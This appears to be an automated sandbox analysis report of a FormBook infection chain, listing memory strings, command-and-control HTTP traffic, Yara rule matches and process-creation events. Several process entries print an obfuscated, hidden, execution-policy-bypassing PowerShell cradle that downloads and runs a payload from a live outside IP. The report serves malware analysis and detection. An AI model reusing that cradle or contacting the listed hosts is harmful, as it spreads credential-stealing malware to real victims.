            Source: wscript.exe, 00000000.00000003.383158552.000002748CADE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://212.192.219.52/Untitle4
            Source: wscript.exe, 00000000.00000003.383158552.000002748CADE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://212.192.219.52/Untitled
            Source: wscript.exe, 00000000.00000003.383158552.000002748CADE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://212.192.219.52/Untitled2
            Source: wscript.exe, 00000000.00000003.383158552.000002748CADE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://212.192.219.52/Untitled2.
            Source: wscript.exe, 00000000.00000003.383158552.000002748CADE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://212.192.219.52/Untitled2.b
            Source: wscript.exe, 00000000.00000003.383158552.000002748CADE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://212.192.219.52/Untitled2.bml
            Source: powershell.exe, 00000008.00000002.482259496.000001FFBF6A8000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://212.192.219.52/Untitled2.bmp
            Source: wscript.exe, 00000000.00000003.383158552.000002748CADE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://212.192.219.52/Untitled2.bmpD
            Source: wscript.exe, 00000000.00000003.383158552.000002748CADE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://212.192.219.52n
            Source: wscript.exe, 00000000.00000002.384257533.000002748E837000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.383504994.000002748E837000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.383483963.000002748E836000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.383196034.000002748E836000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://212.192.21t
            Source: wscript.exe, 00000000.00000003.383158552.000002748CADE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://212.192.T
            Source: wscript.exe, 00000000.00000003.383158552.000002748CADE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://212.192z
            Source: powershell.exe, 00000003.00000002.418489387.000001F428CC0000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000008.00000003.473426642.000001FFD9571000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.globalsign.net/root-r2.crl0
            Source: powershell.exe, 00000008.00000003.473426642.000001FFD9623000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.microsof
            Source: powershell.exe, 00000003.00000002.409737555.000001F420C9E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.392119830.000001F410CF6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.409737555.000001F420B67000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.564127070.000001FFD148C000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://nuget.org/NuGet.exe
            Source: powershell.exe, 00000008.00000002.488364738.000001FFC1626000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://pesterbdd.com/images/Pester.png
            Source: powershell.exe, 00000008.00000002.488364738.000001FFC17DB000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
            Source: powershell.exe, 00000003.00000002.392119830.000001F410AF1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.488364738.000001FFC1421000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
            Source: powershell.exe, 00000008.00000002.488364738.000001FFC17DB000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/wsdl/
            Source: wscript.exe, 00000000.00000003.381729278.000002748E820000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://script.dopus.net/
            Source: wscript.exe, 00000000.00000003.381633221.000002748E803000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://script.dopus.net/s
            Source: powershell.exe, 00000008.00000002.488364738.000001FFC1626000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
            Source: powershell.exe, 00000008.00000002.564127070.000001FFD148C000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://contoso.com/
            Source: powershell.exe, 00000008.00000002.564127070.000001FFD148C000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://contoso.com/Icon
            Source: powershell.exe, 00000008.00000002.564127070.000001FFD148C000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://contoso.com/License
            Source: powershell.exe, 00000008.00000002.488364738.000001FFC1626000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://github.com/Pester/Pester
            Source: powershell.exe, 00000003.00000002.409737555.000001F420C9E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.392119830.000001F410CF6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.409737555.000001F420B67000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.564127070.000001FFD148C000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://nuget.org/nuget.exe
            Source: unknownHTTP traffic detected: POST /m8a3/ HTTP/1.1Host: www.moqainc.comAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: en-USContent-Type: application/x-www-form-urlencodedContent-Length: 1479Cache-Control: no-cacheConnection: closeOrigin: http://www.moqainc.comReferer: http://www.moqainc.com/m8a3/User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36Data Raw: 55 72 3d 37 4e 2f 54 73 4b 44 41 62 6d 4e 65 79 75 75 66 7a 58 32 52 74 47 48 36 69 79 39 6f 36 33 42 71 69 30 46 75 4f 73 58 62 39 47 79 48 43 6f 39 2f 43 71 51 63 49 39 5a 75 52 55 48 74 31 46 68 70 6a 50 49 7a 47 50 68 4d 67 67 55 6a 39 63 5a 72 63 63 6d 50 4b 63 71 4a 52 58 2b 65 51 49 31 70 31 72 42 4f 5a 65 42 31 37 51 61 4c 52 65 46 67 76 32 31 36 47 73 74 79 53 77 32 2b 38 63 37 38 75 59 65 49 4a 68 56 31 35 52 79 37 61 5a 53 33 42 42 50 6f 6b 52 47 36 6b 67 77 58 4d 38 53 63 46 6b 37 67 36 73 2b 63 70 67 6c 51 4a 70 58 75 30 52 6e 4d 6b 7a 42 62 63 32 6f 42 74 50 4d 39 39 4e 77 47 4e 46 69 6e 57 4f 33 66 36 34 6a 2f 53 79 6f 42 56 6d 63 56 6d 71 32 32 48 61 73 38 30 4e 55 57 32 39 77 6d 4f 38 52 61 49 69 55 42 71 4e 71 65 42 72 71 43 73 79 36 48 46 45 33 62 36 2b 77 44 5a 61 63 75 50 70 4e 32 74 61 4c 35 52 38 6d 41 65 70 6e 52 78 75 6f 78 6b 69 49 33 4b 46 39 65 4a 6f 58 50 4f 32 37 4a 52 75 4d 4c 2b 2b 72 77 59 43 32 5a 54 48 61 38 77 62 64 6b 37 37 37 46 77 72 62 7a 7a 69 34 51 2b 5a 57 49 33 55 46 5a 6f 34 51 64 6d 2f 6f 74 2f 64 63 5a 51 78 4c 61 59 2b 2b 73 65 45 51 6b 39 47 68 6b 68 63 55 53 4a 34 70 4f 53 75 30 7a 73 65 57 2f 58 45 62 7a 4b 42 6e 46 72 35 65 36 53 37 33 37 42 63 31 70 6b 38 50 63 4d 59 31 4b 4e 50 49 72 55 51 7a 6e 36 64 71 76 59 6a 44 35 47 56 33 30 45 4a 45 58 62 6f 42 47 78 4c 35 31 2f 68 37 50 4c 62 47 6a 59 44 54 4e 4c 56 4b 6f 39 55 4f 49 57 49 33 79 42 4e 62 6c 49 35 45 6b 59 76 6f 69 68 52 6f 72 58 37 79 45 31 41 6c 7a 38 54 43 66 6f 4e 52 46 2b 46 65 31 79 77 41 65 39 53 2f 50 59 6c 50 30 45 35 76 31 73 70 38 53 48 49 34 69 6c 34 71 30 48 44 67 7a 58 61 45 34 6f 4e 41 59 48 71 71 6c 4f 75 74 38 67 51 4c 7a 74 4e 54 42 71 4e 54 4e 41 32 2b 75 46 66 61 58 74 63 4d 74 4a 31 38 4b 31 4b 31 36 6f 6a 35 46 59 79 32 42 44 6d 41 53 32 65 30 55 62 38 6f 59 39 78 39 48 38 68 59 76 77 2f 6e 31 72 71 52 46 64 55 58 4a 4b 39 47 43 30 67 39 4e 45 6b 68 43 5a 68 7a 44 32 42 64 6e 54 65 71 79 62 62 36 64 4c 2b 41 58 46 69 4f 4b 6b 53 45 74 57 50 65 38 69 64 68 38 4a 68 37 2f 6e 35 4f 6c 43 74 41 75 55 52 66 65 6c 5a 4a 54 35 48 4e 75 2f 2f 73 6c 4f 72 77 69 61 54 58 5a 38 78 68 35 35 35 4e 57 62 45 62 54 6b 61 67 32 45 35 62 34 6c 64 41 67 77 35 6e 71 71 71 79 59 64 50 6c 31 44 76 70 4b 71 70 72 39 69 72 58 30 48 50 55 4e 62 6d 38 2b 33 34 34 7a 33 34 69 41 48 50 54 67 6f 66 69 70 6d 49 30 77 45 79 6b 33 70 71 4d 42 6e 6b 57 51 39 37 39 32 69 53 6c 78 7a 58 54 65 42 6b 31 5a 78 6a 63 6a 49 48 50 78 59 34 59 77 65 7
            Source: unknownDNS traffic detected: queries for: www.blackhawkstickets.com
            Source: global trafficHTTP traffic detected: GET /Untitled2.bmp HTTP/1.1Host: 212.192.219.52Connection: Keep-Alive
            Source: global trafficHTTP traffic detected: GET /m8a3/?Ur=wELRwQq9Ik4akR1AOxjjTZuNaDONjs8a2YaLQcHnUlU7Bv3tKYzAHvXnkO/QKC4W0Zoe4oBdA0RLZC4HllwlUjUeZBoK18Latg==&HlMd=4b_DnLvPevaPpfd HTTP/1.1Host: www.blackhawkstickets.comAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-USConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36
            Source: global trafficHTTP traffic detected: GET /m8a3/?Ur=2PXzv/KUOl1j1NuZtHuegUOjtHgT7zpI1k9NLrqIqxTSD5EEUqAnCL5FTmT193UJ4vU1Eo4nrGN2pIlcQ7jSI/XdQia5ZrF41g==&HlMd=4b_DnLvPevaPpfd HTTP/1.1Host: www.moqainc.comAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-USConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36
            Source: global trafficHTTP traffic detected: GET /m8a3/?wllV=ZE0BJ&yy9Uwvr=wELRwQq9Ik4akR1AOxjjTZuNaDONjs8a2YaLQcHnUlU7Bv3tKYzAHvXnkO/QKC4W0Zoe4oBdA0RLZC4HllwlUjUeZBoK18Latg== HTTP/1.1Host: www.blackhawkstickets.comAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-USConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36
            Source: global trafficHTTP traffic detected: GET /m8a3/?yy9Uwvr=2PXzv/KUOl1j1NuZtHuegUOjtHgT7zpI1k9NLrqIqxTSD5EEUqAnCL5FTmT193UJ4vU1Eo4nrGN2pIlcQ7jSI/XdQia5ZrF41g==&wllV=ZE0BJ HTTP/1.1Host: www.moqainc.comAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-USConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36
            Source: global trafficHTTP traffic detected: GET /m8a3/?wllV=ZE0BJ&yy9Uwvr=5h8HxZ/VEhiexXVbMxiTyVXwdokLOldADmOfAXPisI7PhPT+BDz7WcbBDni3TpPjpoYzH6wZLRHrGyVUSx0HWU95ukGtBkky0Q== HTTP/1.1Host: www.u1uc86.shopAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-USConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36
            Source: global trafficHTTP traffic detected: GET /m8a3/?yy9Uwvr=KfxyrYt0+dAkLzUy5gsnp3p0oX3LOs89DNVvjaW49ahTyKh9A9lK4bm4YgfqVz2zqy/14k6j7o+Vy48O68UKvRL9g4d35+1BPg==&wllV=ZE0BJ HTTP/1.1Host: www.eunicebarber.comAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-USConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36
            Source: global trafficHTTP traffic detected: GET /m8a3/?wllV=ZE0BJ&yy9Uwvr=HdAArDrpc0/lWistcv7U8os5S8lq1/Pmn5Nebv2sEOwmLRgBysRR2ORy9UpLQlQ68z6oajIjCi8xrT5GQWSFhprfwO2VyQxjGA== HTTP/1.1Host: www.jshjyz.comAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-USConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36

            E-Banking Fraud

            barindex
            Yara detected FormBook
            Source: Yara matchFile source: 17.2.ServiceHub.exe.400000.0.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 17.2.ServiceHub.exe.400000.0.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 00000011.00000002.570692390.0000000001140000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000011.00000002.565170091.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000014.00000002.906049322.0000000004A60000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000014.00000002.904340271.0000000000B30000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000014.00000002.905735197.0000000003040000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY

            System Summary

            barindex
            Malicious sample detected (through community Yara rule)
            Source: 17.2.ServiceHub.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
            Source: 17.2.ServiceHub.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
            Source: 17.2.ServiceHub.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
            Source: 17.2.ServiceHub.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
            Source: 00000011.00000002.570692390.0000000001140000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
            Source: 00000011.00000002.570692390.0000000001140000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
            Source: 00000011.00000002.565170091.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
            Source: 00000011.00000002.565170091.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
            Source: 00000014.00000002.906049322.0000000004A60000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
            Source: 00000014.00000002.906049322.0000000004A60000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
            Source: 00000014.00000002.904340271.0000000000B30000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
            Source: 00000014.00000002.904340271.0000000000B30000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
            Source: 00000014.00000002.905735197.0000000003040000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
            Source: 00000014.00000002.905735197.0000000003040000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
            Source: 00000015.00000002.723232827.0000000004C7A000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
            Source: Process Memory Space: powershell.exe PID: 6672, type: MEMORYSTRMatched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
            Wscript starts Powershell (via cmd or directly)
            Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\System32\cmd.exe" /c "powERshELl -WINd hI -ExeCut BypAss while($true){try{Start-Process 'powershell.exe' -WindowStyle hidden -Verb runas -ArgumentList '-exec Bypass -c', '$c1=''iex (New-Object Net.We''; $c4=''bClient).Downlo''; $c3=''adString(''''http://212.192.219.52/Untitled2.bmp'''')'';I`E`X ($c1,$c4,$c3 -Join '''')' ;exit}catch{}}
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powERshELl -WINd hI -ExeCut BypAss while($true){try{Start-Process 'powershell.exe' -WindowStyle hidden -Verb runas -ArgumentList '-exec Bypass -c', '$c1=''iex (New-Object Net.We''; $c4=''bClient).Downlo''; $c3=''adString(''''http://212.192.219.52/Untitled2.bmp'''')'';I`E`X ($c1,$c4,$c3 -Join '''')' ;exit}catch{}}
            Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\System32\cmd.exe" /c "powERshELl -WINd hI -ExeCut BypAss while($true){try{Start-Process 'powershell.exe' -WindowStyle hidden -Verb runas -ArgumentList '-exec Bypass -c', '$c1=''iex (New-Object Net.We''; $c4=''bClient).Downlo''; $c3=''adString(''''http://212.192.219.52/Untitled2.bmp'''')'';I`E`X ($c1,$c4,$c3 -Join '''')' ;exit}catch{}} Jump to behavior
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powERshELl -WINd hI -ExeCut BypAss while($true){try{Start-Process 'powershell.exe' -WindowStyle hidden -Verb runas -ArgumentList '-exec Bypass -c', '$c1=''iex (New-Object Net.We''; $c4=''bClient).Downlo''; $c3=''adString(''''http://212.192.219.52/Untitled2.bmp'''')'';I`E`X ($c1,$c4,$c3 -Join '''')' ;exit}catch{}} Jump to behavior
            Powershell drops PE file
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Roaming\ServiceHub.exeJump to dropped file
            Source: 17.2.ServiceHub.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
            Source: 17.2.ServiceHub.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
            Source: 17.2.ServiceHub.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
            Source: 17.2.ServiceHub.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
            Source: 00000011.00000002.570692390.0000000001140000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
            Source: 00000011.00000002.570692390.0000000001140000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
            Source: 00000011.00000002.565170091.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
            Source: 00000011.00000002.565170091.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
            Source: 00000014.00000002.906049322.0000000004A60000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
            Source: 00000014.00000002.906049322.0000000004A60000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
            Source: 00000014.00000002.904340271.0000000000B30000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
            Source: 00000014.00000002.904340271.0000000000B30000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
            Source: 00000014.00000002.905735197.0000000003040000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
            Source: 00000014.00000002.905735197.0000000003040000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
            Source: 00000015.00000002.723232827.0000000004C7A000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
            Source: Process Memory Space: powershell.exe PID: 6672, type: MEMORYSTRMatched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 3_2_00007FF9A57119B83_2_00007FF9A57119B8
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 13_2_0322372813_2_03223728
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 13_2_03221F8913_2_03221F89
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 13_2_0322047B13_2_0322047B
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 13_2_0322048813_2_03220488
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 13_2_0322371713_2_03223717
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_0040298717_2_00402987
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_0040299017_2_00402990
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_0040127017_2_00401270
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_004232F317_2_004232F3
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_0040329017_2_00403290
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_0040836A17_2_0040836A
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_0040837317_2_00408373
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_0040244017_2_00402440
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_0040243C17_2_0040243C
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_0042557E17_2_0042557E
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_00402D0017_2_00402D00
            Source: C:\Users\user\AppData\Roaming\ServiceHub.exeCode function: 17_2_0040859317_2_00408593
